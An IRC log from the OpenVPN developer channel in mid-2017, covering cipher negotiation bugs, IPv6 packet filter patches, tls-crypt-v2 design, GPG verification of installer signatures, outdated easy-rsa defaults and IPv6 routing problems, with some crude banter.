slypknot registers openwtf.com :D 12:56 <@syzzer> plaisthos: I already had my ACK mail typed, but then noticed that it printed "(null)"... 13:12 <@plaisthos> it does?! 13:12 <@plaisthos> hmpf 13:12 <@plaisthos> okay back to drawing board for me 13:13 <@plaisthos> maybe that was the reason I did not send the patch half a year ago 13:38 <@cron2> our configure script is so weird... 13:38 <@cron2> checking for OPENSSL... no 13:38 <@cron2> checking for SSL_CTX_new... yes 13:43 <@plaisthos> :D 13:47 <@vpnHelper> RSS Update - gitrepo: doc: The CRL processing is not a deprecated feature <https://github.com/OpenVPN/openvpn/commit/f9ebfe1b5a011e55fb87a5026b1897c8ffb8f75e> || Undo cipher push in client options state if cipher is rejected <https://github.com/OpenVPN/openvpn/commit/3be9a1c1cd75627c30dca05bed28c84ad4dc1d37> || OpenSSL: remove EVP_CIPHER_CTX_free() from the compat layer <https://github.com/OpenVPN/openvpn/commit/7ee9a94fcbbde941bfed 14:06 <@plaisthos> google und co are pushing for the not too many round trip thing 14:07 <@plaisthos> tcp syn - syn ack - ack - tls hand shake back and forth and then http back and forth 14:07 <@plaisthos> google's server already have this weird tcp extension that allows you to send data along with the syn 15:06 <@cron2> tcp fast open 16:50 < slypknot> google butt fuck 16:57 < CRCinAU> yeah - don't search for that 17:02 < slypknot> lol X'D 17:04 < slypknot> i think everybody here understands the consequences 17:59 < slypknot> that would be .. google's weird tcp tls extension btw 18:46 < slypknot> I disabled URL parsing but I am temted to delete and ban for file sharing https://forums.openvpn.net/viewtopic.php?f=5&t=20353#p71371 18:46 <@vpnHelper> Title: OpenVPN Windows Embedded Handheld 6.5 Professional Client - OpenVPN Support Forum (at forums.openvpn.net) 18:48 < slypknot> advice ? 18:51 < slypknot> ecrist: mattock ^^ 19:39 <@ordex> morning 19:45 < slypknot> ordex: it's the middle of the night :) 19:45 <@ordex> not for everybody! 19:45 < slypknot> i'm just messin :) 19:46 < slypknot> how about a patch to re-read the config on --ping-restart ? 19:47 < slypknot> with particular emphasis on --cipher 19:48 < slypknot> no trac has been assigned for that yet 19:50 <@ordex> syzzer: "is undefined behaviour as input for a %s format string specifier" << on which OS ? 19:50 <@ordex> slypknot: didn't syzzer said that this should happen already ? or you verified it does not ? 19:50 <@ordex> ah re-read the config 19:51 < slypknot> ordex: https://community.openvpn.net/openvpn/ticket/906 19:51 <@vpnHelper> Title: #906 (Cipher negotiation succeeds when it should fail) – OpenVPN Community (at community.openvpn.net) 19:52 < slypknot> it's obviously more complex than i fully understand 19:52 <@ordex> yap 19:52 < slypknot> but there are some base lines to address 19:52 < slypknot> how are you :) 19:56 < CRCinAU> 10:45 < slypknot> ordex: it's the middle of the night :) 19:56 < CRCinAU> amatuers ;) 19:56 <@ordex> slypknot: waking up :) 19:56 <@ordex> lol 19:56 < slypknot> ooh .. fight ! 19:56 < slypknot> :D 19:57 < slypknot> hi CRCinAU 19:57 < CRCinAU> o/ 19:58 < CRCinAU> 💃 19:59 < slypknot> so yah know, this was me too (sudonym): https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg00113.html 19:59 <@vpnHelper> Title: [Openvpn-devel] 2.3.12 vs git-master with cipher negotiation (at www.mail-archive.com) 20:01 < slypknot> and this: https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg03900.html 20:01 <@vpnHelper> Title: Re: [Openvpn-users] OpenVPN 2.4.3 OpenSSL: error:0607A082 (at www.mail-archive.com) 20:01 < slypknot> all related ^^ 20:13 < slypknot> more wanna bees : https://www.cyberciti.biz/faq/how-to-install-and-configure-an-openvpn-server-on-debian-9-in-5-minutes/ 20:15 < slypknot> pah ! 20:26 <@ordex> :) 20:26 < slypknot> ? 20:28 < slypknot> ordex: i must thank you for the ipv6pf .. so far it works perfect 20:29 <@ordex> cool 20:29 <@ordex> now I have to revise the plugin part to compare with what dazo said 20:29 <@ordex> thanks for testing :) 20:30 < slypknot> what did dazo say .. i must have missed tht ? 20:34 <@ordex> he said that the plugin probably was used to create rule son the fly 20:34 <@ordex> although i don't remember it doing so. but i will double check to make sure i am not removing a feature 20:34 < CRCinAU> so as I'm doing my weekly bug follow up all over the place...... 20:34 < CRCinAU> auth-tokens and auth-nocache / management interface / etc 20:34 < CRCinAU> anyone know the latest on that? 20:35 < slypknot> ordex: i think it was how it was initially implemented via the mamangement interface to feed the rules in .. but your solution is far more practical 20:37 <@ordex> slypknot: yup, but we don't want to break backwards compatibility, therefore we should also keep support for the old method 20:37 < slypknot> i se 20:37 <@ordex> CRCinAU: I am not sure there was much going on yet 20:40 < slypknot> ordex: get it into master and then work out the details .. i don't think it will break many .. and those it does will be more than willing to upgrade to your superior solution 20:40 <@ordex> slypknot: I wouldn't mind :D but not everybody thinks like that 20:40 < slypknot> i will fight for yah :) 20:40 < CRCinAU> mkay... 20:41 < CRCinAU> ordex: from what I understand, it seemed that the config was reset on a reneg - ie flags reset 20:41 < CRCinAU> but I'm trying to track so many different bug reports across projects, I'm a little unsure of what is going on with what atm :\ 20:41 < CRCinAU> I need to make a text file I think lol 20:42 <@ordex> hehe 20:43 < slypknot> ordex: <quote> slashdot.com "openvpn's "little known packet filter" .. just get the bugger in .. PLEASE ! 20:44 < slypknot> i stake my reputation .. yours will win out in the end 20:44 <@ordex> slypknot: where is that quote coming from ? 20:44 < slypknot> if "they" had the audacity to make a built in packet filter then they better see why yours is Way better ! 20:45 < slypknot> ordex: http://backreference.org/2010/06/18/openvpns-built-in-packet-filter/ 20:46 <@ordex> oh 2010 20:46 < slypknot> undocumented aswell .so tel dazo to stuff it where the sun don't shine ;) )))) 20:47 <@ordex> :D 20:47 * slypknot is looking forward to a reply to that ; 20:49 < slypknot> these guys use any sort of justification to do/not do what ever they want 20:50 < slypknot> with some exceptions 20:50 <@ordex> well, sometimes it is not easy to make a decision. kkep in mind that any change we make is going to affect thousands of people 20:51 <@ordex> can't be taken too lightly 20:51 * slypknot agrees 20:51 <@ordex> not sayingthat we should not do stuff...but spending some time figuring out the less intrusive way is good 20:51 <@ordex> ;) 20:51 <@ordex> consider that if people will come back and complain, we will have to waste a lot of time 20:51 <@ordex> while if we make something that does not break anybody ... more free time for all ! 20:51 <@ordex> :) 20:52 < slypknot> openvpn/wiki/philosophy {missing} 20:53 < slypknot> fuck em 20:53 <@ordex> :D 20:54 < slypknot> they even put --explicit-exit-notify in the sample SERVER config and server's don't support --explicit-exit-notify .. so they need to grab their balls and pull them a bit harder before they spout their gobshite ! 20:54 < slypknot> LOL 20:54 < slypknot> six of one 20:56 < slypknot> fyi .. --explicit-exit-notify "from" the server "to" the client .. not the usual way whereby it does work 20:58 < slypknot> --packet-filter-dir ACK 20:58 < CRCinAU> you mean you don't cron a restart of openvpn every 10 minutes? 20:58 < slypknot> it works on linux & windows .. so far perfect 20:58 < CRCinAU> just to make sure we establish a new connection every 10 minutes to avoid stale keys 20:58 < slypknot> CRCinAU: .. huh ? 20:59 < CRCinAU> SECUUUUUURAATTTYYYYYY!!! 20:59 < slypknot> CRCinAU: would kind of kill PIA etc 20:59 < CRCinAU> ;) 20:59 < slypknot> or are you doing a Cartman ? 20:59 < CRCinAU> can't intercept my VPN if it isn't up for most of the time! ;) 21:00 < slypknot> ahh yes 21:00 < CRCinAU> *roll safe meme* 21:01 < slypknot> i tried the totally no-ping scenario .. which actually works from client->server 21:01 < slypknot> but it is not under the radar enough 21:04 < CRCinAU> hah http://explosm.net/rcg/hylokabtw 21:04 <@vpnHelper> Title: Cyanide & Happiness (Explosm.net) (at explosm.net) 21:06 < slypknot> http://www.commitstrip.com/en/2016/12/08/humain-against-machine/ 21:06 <@vpnHelper> Title: Humain against Machine | CommitStrip (at www.commitstrip.com) 21:09 < slypknot> ordex: Please submit your pf improvement 21:10 < slypknot> even without documentation (if it please the tyrants here) 21:12 < slypknot> ordex: it's kind of pivotal .. 21:12 <@ordex> :P 21:12 <@ordex> will do 21:12 <@ordex> no worries 21:13 < slypknot> quoth the ravan: "we give them the rope .. if they want to hang themselves then that is thier problem" 21:14 < slypknot> cron2: ringing bells ^^ 21:14 < slypknot> (--pull-filter) 21:15 * slypknot has to go before i get banned .. again 21:15 < slypknot> ordex : thanks 21:16 * slypknot away 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri Jun 30 2017 00:38 * cron2 usually bases his decisions on language used... so particularily offensive folks will get de-prioritized 00:42 <@ordex> syzzer: was there any use-case in mind when you decided to have metadata in the key wrapper ? 00:42 <@ordex> syzzer: (tls-crypt-v2) 01:07 < CRCinAU> (As a side note: please upgrade to 2.4.3) 01:07 < CRCinAU> heh 01:07 < CRCinAU> nice 02:51 <@syzzer> ordex: further protecting the TLS stack 02:52 <@syzzer> if you put a client ID in the metadata, you can deny that client access even before you do any X.509 / ASN.1 processing 03:00 <@ordex> mh ok 03:02 < CRCinAU> clientID = openvpn? :) 03:02 < CRCinAU> probably too early to do any type of auth? 05:37 <@ordex> syzzer: --auth specifies the hash algo to be used for authenticating data packet and tls-frames. is it expected to influence tls-crypt authentication as well? or in the latter case it is decided to statically be hmac-sha256 ? 05:40 <@ordex> I think it is static 05:43 <@syzzer> ordex: yeah, static 05:43 <@ordex> syzzer: why isn't it configurable ? just wondering what happens if at some point we want to switch because of the used algo is broken 05:49 <@syzzer> because configurable means more complexity, and we use very conservative crypto 05:49 <@syzzer> so I claim that the added complexity is a greater risk for security, than the risk at the crypto getting broken 05:53 <@ordex> I see 05:53 <@ordex> ok, thanks for the assesment :) 05:54 <@ordex> +s 06:18 <@syzzer> ordex: I pushed the most recent version of my tls-crypt-v2 description as doc/tls-crypt-v2.txt to my branch on github 06:18 <@syzzer> that also contains some reasoning on the fixed crypto 06:18 <@dazo> CRCinAU: (ordex) I was looking into the management interface, auth-nocache + auth-token clash ... but it requires much more thorough work, so I needed to jump back to more another project where I have some deadlines where I'm a bit too far behind 06:18 <@ordex> syzzer: thanks ! 06:19 <@syzzer> any amanedments / update welcome, ofc 06:19 <@ordex> syzzer: yup, will have another read later 06:21 <@dazo> slypknot: What ordex does for the PF is great! But that's also a feature which have been available since the early days of at least 2.1, perhaps even 2.0 .... considering the deployment rate of OpenVPN, if we remove a feature (even though obscure) is not good. So we need to keep the feature available *and* improve it so people can migrate away from whatever obscure solution they have deployed .... and if someone uses the plug-in approach 06:21 <@dazo> for something more advanced we're not aware of, it would be even worse to kill that feature 06:23 <@ordex> yeah 06:59 < slypknot> ordex: dazo .. as ordex pointed out .. ipv6pf is at least two separate patches anyway (1) ipv6 support (2) --packet-filter-dir .. i should think ipv6 support can be added to 2.4 as is, it is getting the pf into the modern world .. the --packet-filter-dir i accept would make more sense in 2.5 as it is a full new working method, also a better one (i think) 07:00 < slypknot> one question though, why was it done to need the plugin to feed the pf in the first place ? 07:00 < slypknot> and can the two methods sit side by side ? 07:01 < slypknot> i was testing the early version on windows using the plugin not --packet-filter-dir .. so it seems they can both work side by side 07:04 <@dazo> slypknot: I dunno why it was designed like that 07:04 <@dazo> regardless, any improvements cannot make existing features regress - at least not with a migration time for users to move over to the newer and better approaches 07:13 <@ordex> well, that's because we are nice :) otherwise (like other libs/software do) you could just say: hey from version X the api has changed 07:13 <@ordex> openssl anyone ? :P 07:14 < slypknot> lol @ openssl 07:14 < slypknot> ordex: can the two run side by side or do your changes completely remove the plugin capability ? 07:15 <@ordex> I did remove it to simplify the architecture 07:15 <@ordex> but i think they can run side b yside 07:15 <@ordex> I just need to make sure they do not interfere 07:17 <@dazo> ordex: well, we do that as well .... we've removed some options .... I even had to re-introduce --tls-remote in Fedora EPEL when moving towards v2.4 (otherwise they would still be stuck on v2.3 due to Fedora update policies) 07:19 < slypknot> All I want to see is ipv6pf .. i am happy to continue with the plugin method until if/when --packet-filter-dir either is added or replaces it .. but ipv6 can be added .. no ? 07:21 < slypknot> (by "all i want to see" .. i mean please can we have) 07:22 <@dazo> Extending PF to handle IPv6 is very appropriate, so yes, once patches are reviewed and applied they'll go into git master 07:22 < slypknot> cool :) 07:23 <@dazo> (but not on the cost of regressing existing features ... hence the review process) 07:23 < slypknot> sure 07:26 <@ordex> :D 07:26 * ordex hears voices 07:27 <@dazo> Cool project from a former RH colleague ... https://www.linkedin.com/pulse/writing-software-alone-wont-make-you-happy-vitaly-mayatskikh 07:27 <@vpnHelper> Title: Writing software alone wont make you happy. | LinkedIn (at www.linkedin.com) 07:28 <@ordex> dazo: did he solderhis own car ? :D 07:28 * ordex is reading 07:28 <@dazo> :-P 07:40 < slypknot> erm .. is this the correct gpg key for 2.4.3-I601.exe ? https://swupdate.openvpn.net/community/keys/security.key.asc 07:42 < slypknot> maybe this one infact http://swupdate.openvpn.net/community/keys/samuli_new_public_key.as 07:42 * slypknot is testing .. 07:46 < slypknot> this message is very confusing: (sorry for flood) 07:46 < slypknot> gpg: armour header: Version: GnuPG v1 07:46 < slypknot> gpg: assuming signed data in `openvpn-install-2.4.3-I601.exe' 07:46 < slypknot> gpg: Signature made Wed 21 Jun 2017 11:20:44 BST using RSA key ID 8CC2B034 07:46 < slypknot> gpg: using subkey 8CC2B034 instead of primary key 2F2B01E7 07:46 < slypknot> gpg: using PGP trust model 07:46 < slypknot> gpg: Good signature from "OpenVPN - Security Mailing List <security@openvpn.net>" 07:46 < slypknot> gpg: WARNING: This key is not certified with a trusted signature! 07:46 < slypknot> gpg: There is no indication that the signature belongs to the owner. 07:46 < slypknot> Primary key fingerprint: F554 A368 7412 CFFE BDEF E0A3 12F5 F7B4 2F2B 01E7 07:46 < slypknot> Subkey fingerprint: B596 06E2 D8C6 E10B 80BE 2B31 D72A F344 8CC2 B034 07:46 < slypknot> gpg: binary signature, digest algorithm SHA1 07:46 <@ordex> slypknot: ... how about pastebin? :S 07:46 < slypknot> testing openvpn-install-2.4.3-I601.exe 07:48 < slypknot> ordex: yeah sorry but this is very confusing .. 07:50 < slypknot> why do openvpn go to the trouble of gpg key then not certify it ? can this be improved ? 07:50 <@dazo> slypknot: the "WARNING: This key is not certified with a trusted signature!" .... that is probably because you don't have my public key installed (which have signed the security list key) ... and you haven't set any trust level on any of these keys 07:51 <@dazo> we provide the pubkey the signature can be verified against ... so the " Good signature from ...." is important and provides quite some trust 07:51 < slypknot> dazo: is your public key available ? 07:51 <@dazo> yes ... search for davids@openvpn.net 07:52 < slypknot> ok 07:52 <@dazo> That you have not put a trust level on the pubkey uses, is "your problem" ... and we can't do anything about that ... you need to validate the pubkey in a way you're confident with 07:53 < slypknot> blimey .. have to go thru all your ***ing email for your key ! (patch applied) hopefullly 07:53 <@dazo> my key is also signed by cron2, syzzer and samuli .... so there you have the web of trust scenario 07:55 < slypknot> dazo: ok thanks 07:56 <@dazo> (all of us have done a visual confirmation of the key and key holder before we did the signing) 07:58 < slypknot> talk about making it effing impossible .. 07:58 < slypknot> openvpn have a real nack of that ^ 07:59 <@dazo> that's not openvpn ... that's PGP's design ... and needed to have a good trust in the keys 07:59 <@ordex> it's the web of trust concept .. 07:59 < slypknot> gpg --version 07:59 < slypknot> gpg (GnuPG) 1.4.16 07:59 <@dazo> is that old gpg still supported? 07:59 <@dazo> $ gpg --version 07:59 <@dazo> gpg (GnuPG) 2.0.22 07:59 < slypknot> cat davids.key.asc 07:59 < slypknot> -----BEGIN PGP SIGNATURE----- 07:59 < slypknot> Version: GnuPG v2.0.22 (GNU/Linux) 08:00 < slypknot> yes .. linux mint .. oh well another todo on the list 08:00 <@dazo> try gpg2 08:00 <@dazo> some might actually ship both the old and the new 08:00 < slypknot> ok .. thanks .. 2 is not currently installed 08:03 <@dazo> "GnuPG 1.4 is the old, single binary version which still support the unsafe PGP-2 keys. This branch has no dependencies on the above listed libraries or the Pinnetry. However, it lacks many features and will receive only important updates." 08:04 <@dazo> https://gnupg.org/download/index.html 08:04 <@vpnHelper> Title: GnuPG - Download (at gnupg.org) 08:04 <@dazo> so it is somewhat supported, but ageing 08:05 < slypknot> dazo: is there anything specific regarding NCP ciphers and RHEL 5 ? https://forums.openvpn.net/viewtopic.php?f=4&t=24399#p71372 08:05 <@vpnHelper> Title: NCP support in 2.4.3? - OpenVPN Support Forum (at forums.openvpn.net) 08:05 < slypknot> if you would not mind having a quick glance 08:05 < slypknot> thanks 08:05 <@dazo> slypknot: openvpn 2.4 is not supported on anything older than RHEL6 .... NCP is only available in v2.4 and newer 08:06 < slypknot> ahh ok 08:06 < slypknot> did you read the forum post ? 08:06 <@dazo> looking now 08:06 < slypknot> tyvm 08:07 <@dazo> and for NCP to work, you need an OpenSSL release which supports AES-GCM ... RHEL5 OpenSSL does not support that afair 08:07 * dazo responds 08:07 < slypknot> looks like he is confusing 2.3.4 and 2.4.3 09:21 < CRCinAU> dazo: is it that broken eh? :P 11:06 <@vpnHelper> RSS Update - tickets: #908: inconsistent handling of password string input with LF at the end <https://community.openvpn.net/openvpn/ticket/908> 11:30 <@ecrist> slypknot: you pinged me earlier for a forums URL 11:30 <@ecrist> what was the point? 11:38 < slypknot> ecrist: sent you a mail . mattock said it was ok and to leave it .. so sorted 11:54 <@dazo> \o/ OpenVPN 3 Linux client begins to take shape .... now the various D-Bus services talks nicely together with each other, tunnels gets established and managed, log/event data is nicely distributed .... now it is just to extend with all the missing features (like providing username and passwords :-P) 11:54 <@dazo> Need to enhance the privilege separation a lot too. But with all the pieces actually talking together properly, a lot is done. 11:57 < Thermi> dbus in C? 11:57 <@ecrist> what about on systems without dbus? 11:57 < Thermi> "We don't support legacy" :-D 12:00 <@ecrist> I don't think that'll fly. 12:01 <@cron2> ecrist: 2.x :-) 12:02 <@dazo> Thermi: I'm using gdbus (C library) wrapped into a C++ layer for OpenVPN 3 12:02 < Thermi> dazo: Are you still going insane? The DBUS API is not very C friendly 12:03 <@dazo> Thermi: gdbus is fairly sane .... I'm not using libdbus (reference implementation) 12:03 < Thermi> dazo: Got it. 12:03 <@dazo> libdbus way to complex and such a messy API --- Day changed Sat Jul 01 2017 00:04 <@ordex> aloha 01:25 <@ordex> cron2: about "Issue with single user, implicit ncp-ciphers connections" on openvpn-users: the reason why there are multiple PUSH_REQUESTS might that the previous push-request was sent not long ago and therefore the server does not want to reply (there is a timeout before a server would reply again IIRC) 03:03 <@syzzer> ordex: you're right about the PUSH_REPLY timeout 03:03 <@ordex> yap, guessed so. especially because it is exactly a "renegotiation" and not a new connection 03:04 <@ordex> the server engine stores some state to remember if and when the push-reply was already sent 03:04 <@ordex> (DoS protection?) 03:04 <@syzzer> I think it has to do with high-latency connections 03:05 <@syzzer> those would cause multiple push request/reply's to be sent otherwise 03:05 <@ordex> yeah 03:05 <@ordex> that's true 03:05 <@syzzer> but that's just guessing, I wasn't around when it was designed/written ;-) 03:05 <@ordex> hehe 03:05 * ordex neither 03:06 <@syzzer> wrt the keysize=0 warning, I'm not sure that's useful. NCP simply does not support pushing keysize 03:07 <@syzzer> maybe just document that in the man page? 03:09 <@ordex> yeah also 03:09 <@ordex> or throw an error in configuration 03:09 <@ordex> I am just worried that we are applying some logic to change the user set behaviour, without documenting it anywhere 03:09 <@ordex> the manpage probably is a good place 03:10 <@ordex> the error is probably not good, because keysize is still meaningful when used with the configured --cipher (if i understood correctly) 03:10 <@syzzer> yeah, I think it is a valid point 03:11 <@syzzer> the way forward I see is to just fix this for now, then move forward to deprecate and remove --keysize 03:11 <@ordex> at all ? isn't any useful with any cipher ? 03:11 <@syzzer> only for deprecated ciphers 03:11 <@ordex> or they already come with a keysize by themselves? i.e. aes-256 .. 03:11 <@ordex> ok 03:12 <@ordex> then it makes sense to deprecate the option :P 03:12 <@syzzer> just do openvpn --show-ciphers 03:12 <@syzzer> and look at the 'by default' additions int he list 03:12 <@ordex> yeah 03:13 <@ordex> those are the one that can be changed ? 03:13 <@syzzer> yup 03:13 <@ordex> I see 07:11 <@plaisthos> whee 07:11 <@plaisthos> RC2-40-CBC (40 bit key by default, 64 bit block) 07:11 <@plaisthos> :) 07:12 <@plaisthos> no rc4 but rc2 07:12 <@plaisthos> my openssl 1.1 from homebrew is strange 07:27 * CRCinAU sets fire to plaisthos 07:27 < CRCinAU> just to be sure. 07:34 <@plaisthos> lol 08:01 <@syzzer> plaisthos: do you already have something nice in your config parser that alerts users of deprecated options? 08:51 <@vpnHelper> RSS Update - tickets: #909: --mtu-test yes not supported on Linux <https://community.openvpn.net/openvpn/ticket/909> 12:05 < slypknot> just curios, in the /spirit of not breaking peoples vpn's, is there a proposed solution to MD5 CA etc ? .. is tis the "security profiles" business ? 13:07 <@ordex> slypknot: what kind of solution are you referring to ? 13:28 < slypknot> ordex: old easyrsa v2x CA's will not load due to new openssl (i believe) security, ie. no MD CA .. easyrsa3 builds CA etc with strander algo 13:28 <@ordex> yeah 13:28 < slypknot> stronger* 13:28 <@ordex> let's just suggest people to use easyrsa3 :) 13:29 < slypknot> so new openvpn is likely to break a lot of PKI's built woth windows 13:29 < slypknot> with* (typing has gone askew) 13:29 <@ordex> hehe 13:31 < slypknot> as for solution .., that is my question .. 13:31 < slypknot> looks like windows installers will have to move to easyrsa3 maybe ? 14:00 <@ordex> is it expected that in order to push ifconfig-ipv6 I first have to to push-remove ifconfig-ipv6 ? 14:00 <@ordex> I thought the push would automatically overwrite the general option 14:05 < slypknot> you mean --ifconfig-ipv6-push ? in the CCD file overrides the server pool ? works for me .. 14:08 <@ordex> ah 14:08 <@ordex> thanks 14:08 < slypknot> :) 14:09 <@ordex> :p 14:25 <@ordex> I finally have my vpn server routing its ipv6 subnet :) 14:36 <@ordex> slypknot: how can I run some networking commands (need root) in client-connect if I have dropped privileges ? 14:36 <@ordex> do you normally set suid for the script ? 15:58 < slypknot> ordex: i do not believe it is possible to run "need root" commands after dropping privs .. except with down-root plugin .. to restart server 15:58 < slypknot> unlis you do sudoers 16:13 < Thermi> slypknot: IMO "breaking" compatibility with insecure infrastructure is the infrastructure architect's punishment for cutting corners. 16:13 < Thermi> Or in this case, the person using it for not caring about what it does and how it works. 16:23 < slypknot> Thermi: yeah but openvpn windows installers still got easyrsa2 16:23 < slypknot> of well ;) 16:23 < slypknot> oh* 16:25 < Thermi> Then switch it nao 16:25 < Thermi> :D 20:48 <@vpnHelper> RSS Update - tickets: #910: Browsers' domain name resolution is not done through VPN if GUI wasn't started with "Run as adminitstator" <https://community.openvpn.net/openvpn/ticket/910> 21:44 <@ordex> morning 23:41 < CRCinAU> afternoon 23:51 <@ordex> hi --- Day changed Sun Jul 02 2017 02:48 <@syzzer> slypknot: easy-rsa 2.x also has sha256 as default digest since 2013 02:48 <@syzzer> oh, and, morning :) 02:54 <@ordex> morning :D 04:00 < CRCinAU> evening 08:15 <@ordex> d12fk: did you go back on vacation? :P :P :P :P 08:49 < CRCinAU> grrrr 08:49 < CRCinAU> I wish I knew why IPv6 on my colo box in the US sucks ass so much 09:03 <@ordex> I am sure there is a reason ! 10:34 < CRCinAU> this could be part of it: 10:34 < CRCinAU> 20. xe-0-0-22-3.a00.dllstx04.us.ce.gin.ntt.net 0.0% 37 285.2 286.5 283.7 291.0 1.5 10:34 < CRCinAU> 21. 2607:fdb8::102:2:0:2 0.0% 36 285.6 287.1 284.3 292.5 1.9 10:35 < CRCinAU> 22. 2607:fdb8:0:118::2 57.1% 36 328.5 324.9 284.2 491.4 65.9 10:35 < CRCinAU> 57% packet loss. nice. 10:45 <@cron2> syzzer: you've seen this one? https://wiki.openssl.org/index.php/OpenSSL_1.1.0_Changes 10:45 <@vpnHelper> Title: OpenSSL 1.1.0 Changes - OpenSSLWiki (at wiki.openssl.org) 10:46 <@cron2> with an openssl-compat.* bundle... 10:58 <@syzzer> CRCinAU: wow, added on April 3. Well after we started to work on our own... 10:58 <@syzzer> oops, that should have tagged cron2 10:58 <@cron2> syzzer: oh. Overlooked that. 10:58 * cron2 was just wondering if we've been duplicating effort, but it seems "the other way round" 10:59 <@syzzer> if they had only just added those files to their 1.0.2 branch... 10:59 <@cron2> yeah 11:00 <@syzzer> cron2: yeah, I was wondering whether we just overlooked this, but "fortunately" we didn't really 11:04 < CRCinAU> syzzer: awww - I got excited then :P 11:12 <@syzzer> yeah, sorry cr<tab> always used to expand to "cron2: " :-p 11:12 <@syzzer> (or whatever alternative nick is active at that point) 11:14 < CRCinAU> just like always, come in, screw everything up for people ;) 11:15 < CRCinAU> 2:14 am.... 11:15 <@syzzer> hehe 11:15 < CRCinAU> do I get up and get food... or do I just say fuck it and try and sleep.... 11:15 <@syzzer> 18:15 pm - time to cook some dinner :) 11:15 < CRCinAU> I'm in the 'get food' mindset....... 11:15 < CRCinAU> oh sweet. I'll pop over. 11:39 < slypknot> syzzer: easy-rsa 2.x has md5RSA signature algo, md5 hash, public key 1024, thumb algo sha1 .. as default right now from 2.4.3 windows installer 11:41 < slypknot> that's for server crt 11:42 < slypknot> CA = sig algo SHA256RSA. hash SHA256, 1024b, thumb sha1 12:08 <@plaisthos> syzzer: no, but it is easy to do 12:18 <@plaisthos> I thought we do not bundl easy-rsa anymore 12:27 <@syzzer> slypknot: https://github.com/OpenVPN/easy-rsa/commit/ff5bfd1d 12:27 <@vpnHelper> Title: Change hash and keysize defaults to modern standards · OpenVPN/easy-rsa@ff5bfd1 · GitHub (at github.com) 12:27 <@syzzer> but if installers were not updated... 13:03 < slypknot> if installers were not updated ;) but that is the case for 2.4.3 downloaded from official downloads (not built be me) 13:04 < slypknot> mattock: syzzer ecrist ^ 13:05 < slypknot> i'll re-install now just to be vary sure 13:10 < slypknot> now i am sure: openssl-1.0.0.cnf, default_md = md5 : vars.bat.sample, set KEY_SIZE=1024 .. 13:11 < slypknot> plaisthos: installing in windows, the option for easyrsa is off by default 19:04 < slypknot> dazo mattock ecrist : this forum post needs review : https://forums.openvpn.net/viewtopic.php?f=1&t=22541 19:04 <@vpnHelper> Title: switzerland law wich server vpn - OpenVPN Support Forum (at forums.openvpn.net) 20:07 < CRCinAU> slypknot: what is that forum cancer? 20:27 < slypknot> CRCinAU: indeed 21:35 <@ordex> morning! 22:04 < CRCinAU> afternoon 22:22 <@ordex> did you have lunch already ? 22:22 <@ordex> :P --- Day changed Mon Jul 03 2017 00:39 < CRCinAU> just had lunch then.... at 3pm :\ 00:44 * ordex too 00:44 * ordex is waiting for coffee 00:46 < CRCinAU> in other news: 00:46 < CRCinAU> --- ns2.crc.id.au ping statistics --- 00:46 < CRCinAU> 258 packets transmitted, 108 received, 58% packet loss, time 261265ms 00:46 < CRCinAU> rtt min/avg/max/mdev = 406.817/409.361/412.243/1.599 ms 00:46 < CRCinAU> support ticket lodged :\ 00:47 <@ordex> not bad 00:47 <@ordex> do you have similar stats when pinging the v4 tunnel endpoints? or this is native v6? 00:47 < CRCinAU> native ipv6 00:47 < CRCinAU> zero packet loss over ipv4 00:48 < CRCinAU> but the two are routed completely different directions 00:49 <@ordex> ok 00:49 < CRCinAU> over IPv4: 00:49 < CRCinAU> 110 packets transmitted, 110 received, 0% packet loss, time 109145ms 00:49 < CRCinAU> rtt min/avg/max/mdev = 210.753/211.766/213.089/0.795 ms 00:51 < CRCinAU> note double the latency :\ 01:56 <@cron2> yeah, that has been a problem of IPv6 from day one - tunneled connections over ill-considered paths 01:56 <@cron2> tunnels are not bad per se, but "much worse than regular IPv4" is 01:57 < CRCinAU> afaik, none of this is via tunnels though :( 02:00 <@cron2> well... sometimes it's "people do not care, and miss having v6 on all the v4 paths, so v6 takes massive detours" but that has become less frequent (and is typically fixed by sending traceroutes to upstream ISPs "look at this! go make it better!" :) ) 02:10 < CRCinAU> yeah - I'm hoping that's what I get :p 02:10 < CRCinAU> a "WTF IS THIS SHIT?!" 02:10 < CRCinAU> kinda like what I did here :P 02:24 <@ordex> CRCinAU: you might not be using a tunnel, but your provider might be (?) 03:10 < CRCinAU> maybe - I've escalated it to the hosting guys, I guess see what comes out of it 03:15 <@ordex> yup, theyshould definitely know more about their infrastructure, hopefully :) 03:35 < CRCinAU> also - what the fuck 03:35 < CRCinAU> https://arstechnica.com/tech-policy/2017/06/in-attempt-to-achieve-youtube-stardom-woman-accidentally-kills-her-boyfriend/ 03:35 <@vpnHelper> Title: In attempt to achieve YouTube stardom, woman accidentally kills her boyfriend | Ars Technica (at arstechnica.com) 03:39 <@ordex> yeah wtf 06:18 <@ordex> I wonder why google always has to try to be smart ... now that i configured IPv6 when I try searching with I get results localized for the country where my IPv6 server endpoint is -.- 06:18 <@ordex> and it is not the same where I am in 06:19 < Thermi> ordex: Is your browser language set? 06:19 <@ordex> yup 06:19 < Thermi> Fucking Google. 06:19 <@ordex> Thermi: but this is always the case ... when you travel you have to be patient :P 06:19 <@ordex> that's why duckduckgo is the way :D 06:19 <@ordex> but my gf is not really up for that :) 08:06 <@dazo> that's her loss! :-P 08:06 * dazo have actually noticed that ddg searches have improved a lot the last year or so ... barely misses google these days 08:22 < slypknot> is this still valid ? https://community.openvpn.net/openvpn/wiki/325-openvpn-as-a--forking-tcp-server-which-can-service-multiple-clients-over-a-single-tcp-port 08:22 <@vpnHelper> Title: 325-openvpn-as-a--forking-tcp-server-which-can-service-multiple-clients-over-a-single-tcp-port – OpenVPN Community (at community.openvpn.net) 08:27 <@ordex> dazo: can we call you systemdman ? 08:27 <@ordex> :D 08:32 <@cron2> slypknot: not sure if the patch is still needed, but in theory, this would be a workable solution 08:32 <@cron2> ah, he says "patch merged with openvpn as of 1.6-beta5", so, the patch should no longer be needed - but otherwise, yes, --inetd is still supported 08:35 < slypknot> ok 08:43 <@mattock> dazo: re: duckduckgo: yes, Google rarely gives better results that ddg 08:43 <@mattock> although in some cases when I search for something in Finnish Google is clearly better 08:44 <@mattock> I typically resort to Google in an anonymous tab if ddg simply does not give any useful results 08:44 <@mattock> 